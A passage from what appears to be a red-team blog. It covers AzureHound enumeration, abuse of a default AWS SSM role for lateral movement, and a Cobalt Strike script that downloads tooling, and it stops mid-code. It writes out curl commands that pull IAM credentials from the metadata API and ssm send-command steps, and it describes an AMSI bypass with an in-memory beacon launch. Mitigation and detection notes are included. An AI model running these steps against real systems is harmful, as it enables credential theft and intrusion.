<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F0RAwXTzDUcFMKkidhImj%2FScreenshot%202023-01-14%20at%2017.11.10.png?alt=media&amp;token=da556e06-4548-4b6a-b48c-6a98deb38fdc" alt=""><figcaption><p>Successful enumeration of the targeted tenant with the acquired MS Graph refresh token</p></figcaption></figure>

All that is left now, is to import the output.json in BloodHound via the usual "upload data" button and start graphing!

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FjglgFoDdouc3pd9l1vHs%2FScreenshot%202023-01-14%20at%2017.15.03.png?alt=media&amp;token=4a928def-4159-4322-af94-6f196e8bd861" alt=""><figcaption><p>Browsing the imported AzureHound data</p></figcaption></figure>

## Conclusion

In this article, we explored how to enumerate Azure AD via AzureHound, starting from a Primary Refresh Token request from a normal compromised user session.

## References

* <https://github.com/BloodHoundAD/AzureHound>
* <https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/>
* <https://github.com/dirkjanm/ROADtools>
* <https://github.com/dirkjanm/ROADtoken>
* <https://github.com/leechristensen/RequestAADRefreshToken>
* <https://github.com/trustedsec/CS-Situational-Awareness-BOF>
* <https://github.com/wotwot563/aad_prt_bof>


# AWS


# Role Abuse: SSM

This page describes how a compromised machine with the default AmazonSSMRoleForInstancesQuickSetup role can allow an attacker to move laterally to all other machines holding this role in the VPC.

## Introduction

In this article, we will explore an interesting attack path in AWS that we encountered in the past: The Amazon Systems Manager. This solution allows centralized management of cloud and on-premise resources. It can by activated for an EC2 instance by assigning a role to the endpoint. However, the default instance role assignment, *AmazonSSMRoleForInstancesQuickSetup*, has an interesting side-effect: Instances with this role can execute commands or start sessions on each other.

We will attempt to move laterally from the compromised ACTIVEMQ EC2 instance with the *AmazonSSMRoleForInstancesQuickSetup* role to the DOTNETNUKE machine, which also holds this role. This article uses Cobalt Strike. However, any C2 framework could do, given some creativity.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FAH4g5Ry8FcGJjbdYgc2D%2Fimage.png?alt=media&amp;token=79cb361f-cc5b-46a9-b308-81070af5ae56" alt=""><figcaption><p>Attack scenario overview</p></figcaption></figure>

## Request AWS Credentials for SSM Role

We start the jouney on the compromised ACTIVEMQ EC2 instance, where we have a Cobalt Strike session. We will use the Curl BOF from [Alfie Champion](https://twitter.com/ajpc500)'s [BOF collection](https://github.com/ajpc500/BOFs) to send an HTTP request to the internal metadata API in AWS.

```
curl https://169.254.169.254/latest/meta-data/iam/security-credentials/
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FM9BZ62qlHht7EQpkimBi%2FScreenshot%202023-01-19%20at%2010.24.27.png?alt=media&amp;token=ae37c3e5-9625-49ef-842b-53e1bb43be65" alt=""><figcaption><p>Cobalt Strike Curl BOF to contact the internal metadata API</p></figcaption></figure>

This results in an HTTP response, indicating that this machine holds the *AmazonSSMRoleForInstancesQuickSetup* role.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FpX5ykmChjqSxqmDpvHAU%2Fimage.png?alt=media&amp;token=bbe8c7a1-088f-45c3-ab79-3d5350a1c789" alt=""><figcaption><p>Result showing <em>AmazonSSMRoleForInstancesQuickSetup</em></p></figcaption></figure>

Next, we request AWS credentials for this role.

```
curl https://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonSSMRoleForInstancesQuickSetup
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FbRvDo7WNFPCBwpf4dnT5%2Fimage.png?alt=media&amp;token=1be59670-1262-449a-a0ab-33bde7fb4a30" alt=""><figcaption><p>Requesting credentials for the role</p></figcaption></figure>

The response comes back with an AccessKeyId, SecretAccessKey and Token value (redacted). This means that we can now impersonate the compromised instance in the context of the *AmazonSSMRoleForInstancesQuickSetup* role.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FE5NzpMG9ivu42KAG6evq%2FScreenshot%202023-01-19%20at%2010.35.31.png?alt=media&amp;token=efa275f4-a575-4fdf-9e11-a00b83ea58e7" alt=""><figcaption><p>Obtained AWS Credentials for the role</p></figcaption></figure>

## Console Access with Pacu

The newly obtained credentials can be used to interact with the AWS APIs programatically, or we can use [Rhinosecuritylabs](https://rhinosecuritylabs.com)' [pacu tool](https://hub.docker.com/r/rhinosecuritylabs/pacu) to generate a console link for our convenience. The first step is to create a \~/.aws/credentials file with the credentials:&#x20;

```
[default]
aws_access_key_id=<insert AccessKeyId value>
aws_secret_access_key=<insert SecretAccessKey value>
aws_session_token=<insert Token value>
```

Next, pacu can be launched via docker, while mounting the AWS credentials in the container.

```
docker run -it -v ~/.aws:/root/.aws rhinosecuritylabs/pacu:latest
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FLPL3184UjWmIU6W2ZYJi%2FScreenshot%202023-01-19%20at%2010.59.27.png?alt=media&amp;token=605b0e0f-df4c-41a4-a97e-ddd591322e1a" alt=""><figcaption><p>Launching pacu</p></figcaption></figure>

Next, we can import the AWS credentials and validate our role through the AWS console CLI.

```
import_keys --all
aws sts get-caller-identity
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FwNTLnsZibyHHTYiG60xF%2FScreenshot%202023-01-19%20at%2011.01.59.png?alt=media&amp;token=deea9321-c9d2-482e-b9d7-a55a26e2c013" alt=""><figcaption><p>Imported the keys and validated the assumed role</p></figcaption></figure>

Finally, pacu can generate the console login link to authenticate via a web browser via the following command:

```
console
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FbiyfWHXYmbZ84HzFs9J9%2FScreenshot%202023-01-19%20at%2011.05.08.png?alt=media&amp;token=c457e0f0-aea2-44fa-8a53-268ea4fc7e0d" alt=""><figcaption><p>Pacu generated a (redacted) console link</p></figcaption></figure>

Browsing the URL automagically authenticates as the compromised instance with the AmazonSSMRoleForInstancesQuickSetup role.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F2CjSAbiMnnYxwwMYKrJF%2FScreenshot%202023-01-19%20at%2011.09.57.png?alt=media&amp;token=d08cee4e-b3af-478d-99f2-9e5fe8f43d5a" alt=""><figcaption><p>AWS Console access as the compromised ACTIVEMQ instance with the AmazonSSMRoleForInstancesQuickSetup role</p></figcaption></figure>

## Session Manager

At this point, our role allows us to access the the AWS System Manager via the AWS Console. This service has (at least) two interesting features under *Node Management*: *Session Manager* and *Run Command*.&#x20;

*Run Command* allows to run individual commands. For example, imagine a scenario where 30 Linux machines in the AWS VPC have the *AmazonSSMRoleForInstancesQuickSetup*. Machine 1 has an application running with an SSRF vulnerability, allowing an attacker to request AWS credentials from the internal metadata API and asume the role. He could use this interact with the AWS API to run a command to download and run a Command and Control agent on all 29 other machines.

We will focus on the manual approach via the *Session Manager*, which allows starting PowerShell and other sessions on the other machines with the default SSM role. The first step is to browse the AWS console and start a new session in the Session Manager.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FxrFUkyOFAMhxaTXijSBg%2FScreenshot%202023-01-19%20at%2011.25.39.png?alt=media&amp;token=c5f83fdc-2aca-400f-9773-942c5a4d324e" alt=""><figcaption></figcaption></figure>

Since we already compromised ACTIVEMQ, we will start a session on the only other available machine, DOTNETNUKE.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F8fObNOQYRUZhfiIOKJuk%2FScreenshot%202023-01-19%20at%2011.27.19.png?alt=media&amp;token=644d049d-6b57-47d2-b21c-5d0e02cdac9f" alt=""><figcaption></figcaption></figure>

This drops us in a PowerShell session as the privileged ssm-user, where we first perform a trivial AMSI bypass (copy and edit a payload from [amsi.fail](https://amsi.fail)) and then download and execute a stageless PowerShell beacon in-memory.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FBhTiXJ3vxJCFy7ns0rn3%2FScreenshot%202023-01-19%20at%2011.33.02.png?alt=media&amp;token=f901d669-1de4-4c6e-b355-697fa7530ba4" alt=""><figcaption><p>AMSI bypass and beacon launch from PowerShell</p></figcaption></figure>

This results in an active Cobalt Strike C2 connection on DOTNETNUKE as the ssm-user from powershell.exe.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FuetmL3hb1KBC9lNYsYh2%2FScreenshot%202023-01-19%20at%2011.35.49.png?alt=media&amp;token=4313d3a6-b6ab-4bbd-a918-773ab4be082f" alt=""><figcaption><p>Beacon from DOTNETNUKE</p></figcaption></figure>

## Send-Command

Alternatively, it is also possible to use AWS-RunShellScript (Linux) or AWS-RunPowerShellScript (Windows) via the AWS CLI to execute commands on target instances. This can be useful in case of insufficient privileges to start a session or request a federation token with Pacu.

The first step is to identify other target instances. The following SSM command can achieve this:

```
aws ssm describe-instance-information --output text --query "InstanceInformationList[*]" --region eu-west-1
```

If the instance role does not allow you to describe other instances in the environment, look for another source of instance IDs: OSINT, s3 bucket access (e.g Cloudwatch logs contain instance IDs), internal enumeration...)

The next step is to execute the command on the target instance. The following command can be used for the corresponding OS. Replace instance-ID with your target instance ID and change the region if needed.

For Linux:

```
aws ssm send-command --instance-ids "instance-ID" --document-name "AWS-RunShellScript" --comment "IP config" --parameters commands=ifconfig --output text --region eu-west-1
```

For Windows (with some quoted-string-kung-fu)

```
aws ssm send-command --instance-ids "INSTANCEID" --document-name "AWS-RunPowerShellScript" --comment "List programs" --parameters '{"commands":["dir","\"C:\\program\\ files\""]}' --output text --region eu-west-1
```

Finally, list the output for the executed command via the following command (replace the COMMANID with the output of the previous command)

```
aws ssm list-command-invocations --command-id COMMANDID --details --region eu-west-1
```

## Conclusion

In this article, we explored how the default Amazon Systems Manager role of one compromised machine can be abused to move laterally to other instances holding the same role.

## Mitigation

If you want to manage instances via AWS Systems Manager, use the *AmazonSSMManagedInstanceCore* policy, instead of following the  *AmazonSSMRoleForInstancesQuickSetup* role creation procedure. This is the recommended way to enable AWS Systems Manager service core functionality.

## Detection

Amazon Guardduty has the capability to detect aws credentials from one instance being used from another account/instance. However, this can be circumvented by executing the attack from the original instance.

Therefore, it might be interesting to also baseline the AWS environment and monitor for anomalous SSM documents being applied to instances. Build a whitelist of entities that should be allowed to do this and alert/block the rest.

## References

* <https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html>
* <https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AmazonSSMManagedInstanceCore.html>
* <https://github.com/ajpc500/BOFs>
* <https://github.com/RhinoSecurityLabs/pacu>
* <https://amsi.fail>


# OffSecOps


# Arsenal Aggressor Script

Aggressor script to automatically download and load an arsenal of open source and private tooling. Hopefully, this saves other teams time and helps the community!

## TL;DR

Repository with final scripts can be found [here](https://github.com/0xbad53c/OffSecOps-Arsenal).

## Introduction

A red team often spends a lot of time and effort on collecting, developing, building and updating toolsuites. Furthermore, it is challenging to distribute everything securely and ensure everyone in the team has access to the same toolkits. In this article, we will discuss how you can create one Cobalt Strike aggressor script, which pulls in the latest releases of your tooling. This warrants that every red team operator has the same toolkit at the beginning of every red team operation.

Please note that although our approach is implemented with an internal Gitlab, the examples in this article were changed to use public Github repositories instead of our own private instance to make the proof of concept easy to reproduce. Keep in mind that pulling in public tooling without review is considered bad practice and should be avoided.

That said, let's begin our journey!

## Sleep

Cobalt Strike agressor scripts are written in Sleep. This obscure Perl-like Java scripting language allows you to customise many components of Cobalt Strike, resulting in increased stealth or additional functionality/quality of life improvements. The [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) is a great example of what can be accomplished.

The manual of Sleep can be found [here](http://sleep.dashnine.org/manual/index.html).

## Download Artifacts via Aggressor Script

The first challenge was to download the latest build.zip releases from Gitlab via Aggressor script in the Cobalt Strike client. Luckily, [@mariuszbit](https://twitter.com/mariuszbit) already came up with [the following awesome implementation](https://github.com/mgeeky/cobalt-arsenal/blob/master/httprequest.cna), making use of the interoperability between Sleep scripting and Java. The script effectively enables the Cobalt Strike client to send HTTP requests, making it perfect to interact with services like GitHub (or private Gitlab).

Let's create a script that downloads the zip of Trustedsec's popular [Remote Ops BOF](https://github.com/trustedsec/CS-Remote-OPs-BOF/tree/main) and [Situational Awareness BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) repositories. Both projects are awesome examples of helpful open source tooling to extend Cobalt Strike, without increasing detection. The following script is based on the work of our intern, [Lucas Cornette](https://www.linkedin.com/in/lucas-cornette/), and [mgeeky](https://twitter.com/mariuszbit)'s httprequest implementation.

```perl
import java.io.BufferedInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.File;
import java.net.URL;
import java.net.URLConnection;
import java.io.IOException;

# ===== Global Variables =====
$saveFilePath = script_resource() . "/downloads"; # Location to store downloaded zips
$destPath = script_resource(); # Unzipped repositories destination folder is relative to this scripts location
# ============================

# ==== Git Repositories ====
# Name, repository ID, branch, [CNA script paths to load]
# Name => repository will be downloaded into this folder, the name has to match the path that is used to load the bofs! (see the modified cna script)
# URL to download zip from => GitLab repository ID
# Paths => relative path from root directory to the cna script to load

@repositories = @(
	@("CS-Situational-Awareness-BOF", "https://github.com/trustedsec/CS-Situational-Awareness-BOF/archive/refs/heads/master.zip", "CS-Situational-Awareness-BOF-master/SA/SA.cna"),
	@("CS-Remote-OPs-BOF", "https://github.com/trustedsec/CS-Remote-OPs-BOF/archive/refs/heads/main.zip", "CS-Remote-OPs-BOF-main/Remote/Remote.cna", "CS-Remote-OPs-BOF-main/Injection/Injection.cna"),
    # add other entries here as well
  );
# ============================

# ==== Functions ====
# Download all repository zip files one by one
sub loadArsenal {
	for($i = 0; $i < size(@repositories); $i++) {
		downloadRepo(@repositories[$i][1],@repositories[$i][0]);
	}
}

# createDir($path, $type);
sub createDir {
	$path = $1;
	$type = $2;
	
	mkdir($path)
	if (checkError($error)) {
		warn("Unable to create $type directory: $error");
		$eMsg = "true";
	}
}

# createFile($path);
sub createFile {
	$path = $1;
	createNewFile($path);
}

# writeFile($handle, $path);
sub writeFile {
	$handle = $1;
	$path = $2;

	$outFile = openf(">" . $path);
	writeb($outFile, readb($handle, -1));
	closef($outFile);
}

# Download a single repository and write the contents to downloads/repositoryname.zip
sub downloadRepo {
	$downloadUrl = $1;
	$fileName = $2 . ".zip";
	
	# Create downloads dir if it does not exist
	if (!-exists $saveFilePath) {
		createDir($saveFilePath);
	}
	
	println("> Downloading " . $fileName . "...");
	println("\tDownload url: $downloadUrl");
	
	# Check if the zip file can be created
	$saveFilePathProper = $saveFilePath . "/" . $fileName;
	createFile($saveFilePathProper);
	
	# Obtain the content and write to file
	$handle = httpGet($downloadUrl);
	writeFile($handle, $saveFilePathProper);
}

# httpGet($url);
# Adapted from https://gist.github.com/mgeeky/2d7f8c2a6ffbfd23301e1e2de0312087
sub httpGet {
	$method = "GET";
	$url = $1;
	$n = 0;

    if(size(@_) == 2) { $n = $2; }

    $maxRedirectsAllowed = 10;
    if ($n > $maxRedirectsAllowed) {
        warn("Exceeded maximum number of redirects: $method $url ");
        return "";
    }

	$USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0";

	try {
		# Build the HTTP Request
		$urlobj = [new java.net.URL: $url];
		if (checkError($error)) {
			warn("1: $error");
		}
		$con = $null;
		$con = [$urlobj openConnection];
		[$con setRequestMethod: $method];
		[$con setInstanceFollowRedirects: true];
		[$con setRequestProperty: "Accept", "*/*"];
		[$con setRequestProperty: "Cache-Control", "max-age=0"];
		[$con setRequestProperty: "Connection", "keep-alive"];
		[$con setRequestProperty: "User-Agent", $USER_AGENT];

		# Send the request and obtain the content
		$inputstream = [$con getInputStream];
		$handle = [SleepUtils getIOHandle: $inputstream, $null];

		$responseCode = [$con getResponseCode];

		# If a redirect is returned, try again with the redirect target (max 10 times)
		if (($responseCode >= 301) && ($responseCode <= 304)) {
			warn("Redirect");
			$loc = [$con getHeaderField: "Location"];
			httpRequest($loc, $n + 1);
		}

		# return the handle with the content
		return $handle;
	}
	catch $message {
		warn("HTTP Request failed: $method $url : $message ");
		printAll(getStackTrace());
		return "";
	}
}

# Create Cobalt Strike menu to download Arsenal
popup Arsenal {
	item("&Download", { loadArsenal() });
}
menubar("Arsenal", "Arsenal");

```

The script can now be loaded via the Cobalt Strike > Script Manager.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FNKU2pSyGfH4CEnx0Q1iQ%2Fimage.png?alt=media&amp;token=91dcdaa9-5e66-4679-91af-eaf430605cc1" alt=""><figcaption><p>Successfully loaded cna script</p></figcaption></figure>

After loading the script, a new menu appears in the UI.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FMVIhV1ybZEHm66qbm7bL%2Fimage.png?alt=media&amp;token=104ebf7f-cdd1-486d-9edc-43440f13c583" alt=""><figcaption><p>Arsenal menu in the UI with Download button</p></figcaption></figure>

Clicking the "Download" button should initiate the download of the Remote Ops BOF and Situational Awareness BOF collections. However, it seems that Java does not trust GitHub and the download fails. Ouch!

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F9EQVzPkv4G2K2sBx90lE%2Fimage.png?alt=media&amp;token=13a0a4be-e9f9-47b4-949e-21b7a05755fb" alt=""><figcaption><p>Certificate trust issue</p></figcaption></figure>

## Challenge 1: Root CA Trust in Sleep

There are several ways to get around this:

1. Ignore SSL/TLS certificate warnings and force the connection. Have you ever implemented this? This would break trust and would be just as complex to implement in Sleep as any other solution.
2. Find the Java truststore that is used by Cobalt Strike and add GitHub's (or your private GitLab's) root CA to it. This would require you to essentially patch the client jar on each release, which would be very impractical.
3. Dynamically load GitHub's root CA from a base-64 encoded string inline in the cna script, using the interoperability with Java. I gave this a shot at first, but could not figure out how to convert the certificate string to a proper Java byte array in Sleep (dm me on Twitter if you know the answer!).
4. Dynamically load a custom trustore and apply it to the SSLContext of the HTTP request implementation. This was a process of trial and error to get it to work in Sleep, but ultimately the most viable solution. It only requires you to distribute the Arsenal cna script and truststore together in the same directory. This also greatly simplifies the process if you ever have to include another root CA or you need to replace/remove trusted certificates.

### Truststore Creation

Adding GitHub's root CA to the truststore is trivial. First, inspect what the name of the CA is by browsing to github.com in e.g. Chrome and inspect the certificate. It appears that DigiCert Global Root is the CA for this website.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FMXymMDLYf1Fd18fGE8JV%2Fimage.png?alt=media&amp;token=6066dcb6-5f88-41ca-a90e-9a28a86aabfc" alt=""><figcaption><p>DigiCert Global Root CA is the root CA of GitHub</p></figcaption></figure>

If you are on a mac, you should already have this CA somewhere in your keychain. Simply search for the root CA and export it in the .cer file format. You can simply select the row and do File > Export Items..

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F59vWcqoPpG3ClpFPgDZp%2Fimage.png?alt=media&amp;token=89f52fef-eaf8-4f82-a042-a0539723f8c2" alt=""><figcaption><p>DigiCert Global Root CA in keychain</p></figcaption></figure>

Finally, create the truststore and import the CA.cer file.

```bash
keytool -import -alias digicertroot -keystore truststore-public.jks -file /Users/0xbad53c/rootcas/DigiCert\ Global\ Root\ CA.cer
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FPIpK1WfeaVk7JI77PPdI%2Fimage.png?alt=media&amp;token=4d8ee2a1-55e7-47a9-8273-fe674f959a4e" alt=""><figcaption><p>Added root CA to the truststore</p></figcaption></figure>

### Dynamic Truststore Load

The next step is to load the trustore dynamically. This again was a process of trial and error, but I came up with the following approach. The idea was to use the interoperability with Java to load the newly created trustore and apply it to the SSLContext of the HTTP request.

```perl
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
import java.security.KeyStore;

...

# httpGet($url);
# Adapted from https://gist.github.com/mgeeky/2d7f8c2a6ffbfd23301e1e2de0312087
sub httpGet {
	$method = "GET";
	$url = $1;
	$n = 0;

	if(size(@_) == 2) { $n = $2; }

	$maxRedirectsAllowed = 10;
	if ($n > $maxRedirectsAllowed) {
		warn("Exceeded maximum number of redirects: $method $url ");
		return "";
	}

	$USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0";

	try {
		# When using private git server, load the truststore with the custom root CA or self-signed CA from the current directory
		$filepath = script_resource("truststore-public.jks");

		# The trust store file and optional password to unlock it
		$trustStoreFile = [new File: $filepath];
		$trustStorePassword = "changeit";

		# Load the trust store from file into an object, the type is "jks"
		$trustStore = [KeyStore getInstance: "JKS"];
		[$trustStore load: [new FileInputStream: $trustStoreFile], $trustStorePassword];

		# init TrustManagerFactory with truststore containing root CA
		$tmf = [TrustManagerFactory getInstance: [TrustManagerFactory getDefaultAlgorithm]];
		[$tmf init: $trustStore];

		# Set the SSLContext of the HTTP requests to ensure the root CA certificate is trusted
		$sslContext = [SSLContext getInstance: "TLS"];
		[$sslContext init: $null, [$tmf getTrustManagers], $null];
		[javax.net.ssl.HttpsURLConnection setDefaultSSLSocketFactory: [$sslContext getSocketFactory]];
...
```

This resulted in version two of the script, capable of downloading zips from GitHub.

```perl
import java.io.BufferedInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.File;
import java.net.URL;
import java.net.URLConnection;
import java.io.IOException;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
import java.security.KeyStore;

# ===== Global Variables =====
$saveFilePath = script_resource() . "/downloads"; # Location to store downloaded zips
$destPath = script_resource(); # Unzipped repositories destination folder is relative to this scripts location
# ============================

# ==== Git Repositories ====
# Name, repository ID, branch, [CNA script paths to load]
# Name => repository will be downloaded into this folder, the name has to match the path that is used to load the bofs! (see the modified cna script)
# URL to download zip from => GitLab repository ID
# Paths => relative path from root directory to the cna script to load

@repositories = @(
	@("CS-Situational-Awareness-BOF", "https://github.com/trustedsec/CS-Situational-Awareness-BOF/archive/refs/heads/master.zip", "CS-Situational-Awareness-BOF-master/SA/SA.cna"),
	@("CS-Remote-OPs-BOF", "https://github.com/trustedsec/CS-Remote-OPs-BOF/archive/refs/heads/main.zip", "CS-Remote-OPs-BOF-main/Remote/Remote.cna", "CS-Remote-OPs-BOF-main/Injection/Injection.cna"),
	# add other entries here as well
  );
# ============================

# ==== Functions ====
# Download all repository zip files one by one
sub loadArsenal {
	for($i = 0; $i < size(@repositories); $i++) {
		downloadRepo(@repositories[$i][1],@repositories[$i][0]);
	}
}

# createDir($path, $type);
sub createDir {
	$path = $1;
	$type = $2;
	
	mkdir($path)
	if (checkError($error)) {
		warn("Unable to create $type directory: $error");
		$eMsg = "true";
	}
}

# createFile($path);
sub createFile {
	$path = $1;
	createNewFile($path);
}

# writeFile($handle, $path);
sub writeFile {
	$handle = $1;
	$path = $2;

	$outFile = openf(">" . $path);
	writeb($outFile, readb($handle, -1));
	closef($outFile);
}

# Download a single repository and write the contents to downloads/repositoryname.zip
sub downloadRepo {
	$downloadUrl = $1;
	$fileName = $2 . ".zip";
	
	# Create downloads dir if it does not exist
	if (!-exists $saveFilePath) {
		createDir($saveFilePath);
	}
	
	println("> Downloading " . $fileName . "...");
	println("\tDownload url: $downloadUrl");
	
	# Check if the zip file can be created
	$saveFilePathProper = $saveFilePath . "/" . $fileName;
	createFile($saveFilePathProper);
	
	# Obtain the content and write to file
	$handle = httpGet($downloadUrl);
	writeFile($handle, $saveFilePathProper);
}

# httpGet($url);
# Adapted from https://gist.github.com/mgeeky/2d7f8c2a6ffbfd23301e1e2de0312087
sub httpGet {
	$method = "GET";
	$url = $1;
	$n = 0;

	if(size(@_) == 2) { $n = $2; }

	$maxRedirectsAllowed = 10;
	if ($n > $maxRedirectsAllowed) {
		warn("Exceeded maximum number of redirects: $method $url ");
		return "";
	}

	$USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0";

	try {
		# When using private git server, load the truststore with the custom root CA or self-signed CA from the current directory
		$filepath = script_resource("truststore-public.jks");

		# The trust store file and optional password to unlock it
		$trustStoreFile = [new File: $filepath];
		$trustStorePassword = "changeit";

		# Load the trust store from file into an object, the type is "jks"
		$trustStore = [KeyStore getInstance: "JKS"];
		[$trustStore load: [new FileInputStream: $trustStoreFile], $trustStorePassword];

		# init TrustManagerFactory with truststore containing root CA
		$tmf = [TrustManagerFactory getInstance: [TrustManagerFactory getDefaultAlgorithm]];
		[$tmf init: $trustStore];

		# Set the SSLContext of the HTTP requests to ensure the root CA certificate is trusted
		$sslContext = [SSLContext getInstance: "TLS"];
		[$sslContext init: $null, [$tmf getTrustManagers], $null];
		[javax.net.ssl.HttpsURLConnection setDefaultSSLSocketFactory: [$sslContext getSocketFactory]];

		# Build the HTTP Request
		$urlobj = [new java.net.URL: $url];
		if (checkError($error)) {
			warn("1: $error");
		}
		$con = $null;
		$con = [$urlobj openConnection];
		[$con setRequestMethod: $method];
		[$con setInstanceFollowRedirects: true];
		[$con setRequestProperty: "Accept", "*/*"];
		[$con setRequestProperty: "Cache-Control", "max-age=0"];
		[$con setRequestProperty: "Connection", "keep-alive"];
		[$con setRequestProperty: "User-Agent", $USER_AGENT];		

		# Send the request and obtain the content
		$inputstream = [$con getInputStream];
		$handle = [SleepUtils getIOHandle: $inputstream, $null];

		$responseCode = [$con getResponseCode];

		# If a redirect is returned, try again with the redirect target (max 10 times)
		if (($responseCode >= 301) && ($responseCode <= 304)) {
			warn("Redirect");
			$loc = [$con getHeaderField: "Location"];
			httpRequest($loc, $n + 1);
		}


		# return the handle with the content
		return $handle;
	}
	catch $message {
		warn("HTTP Request failed: $method $url : $message ");
		printAll(getStackTrace());
		return "";
	}
}


# Create Cobalt Strike menu to download Arsenal
popup Arsenal {
	item("&Download", { loadArsenal() });
}
menubar("Arsenal", "Arsenal");
```

After loading this version of the script and clicking the Arsenal > Download menu item, the Script Console confirms that the zips were downloaded.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FSmDqVxhgwnUXRG5K05Ia%2Fimage.png?alt=media&amp;token=96a2b0bd-153c-4072-973d-71fdd5d35fd1" alt=""><figcaption><p>Successful download of zip files</p></figcaption></figure>

The downloads folder was created and now contains the zip files, as expected.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F4tSKqjtnlHCzXehwZRC7%2Fimage.png?alt=media&amp;token=2921af7e-aef1-4ee9-bc40-10ba5d1ab12a" alt=""><figcaption><p>Repository zip files in the downloads folder of the project directory</p></figcaption></figure>

## Challenge 2: Unzip Repositories

The next step would be to unzip these repositories, so we can load the cna scripts and start using the BOFs. For this proof of concept, we use the prebuilt BOFs included in both repositories. This is a bad practice in production and you should **ALWAYS BUILD YOUR OWN FROM A TRUSTED SOURCE**. Lucas came up with the following approach to use Sleep and Java to unzip the files.

```perl
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;

...

# Unzips the downloaded zipfile and puts the folder in the main project directory
# unzip($name, $folderName);
sub unzip {
	$zipFileName = $1 . ".zip";
	$folderName = $2;
	
	$zipFile = $saveFilePath . "/" . $zipFileName;
	$destPathProper = $destPath . "/" . $folderName;
	$currDir = cwd();

	# load and unzip zipfile
	$fis = [new java.io.FileInputStream: $zipFile];
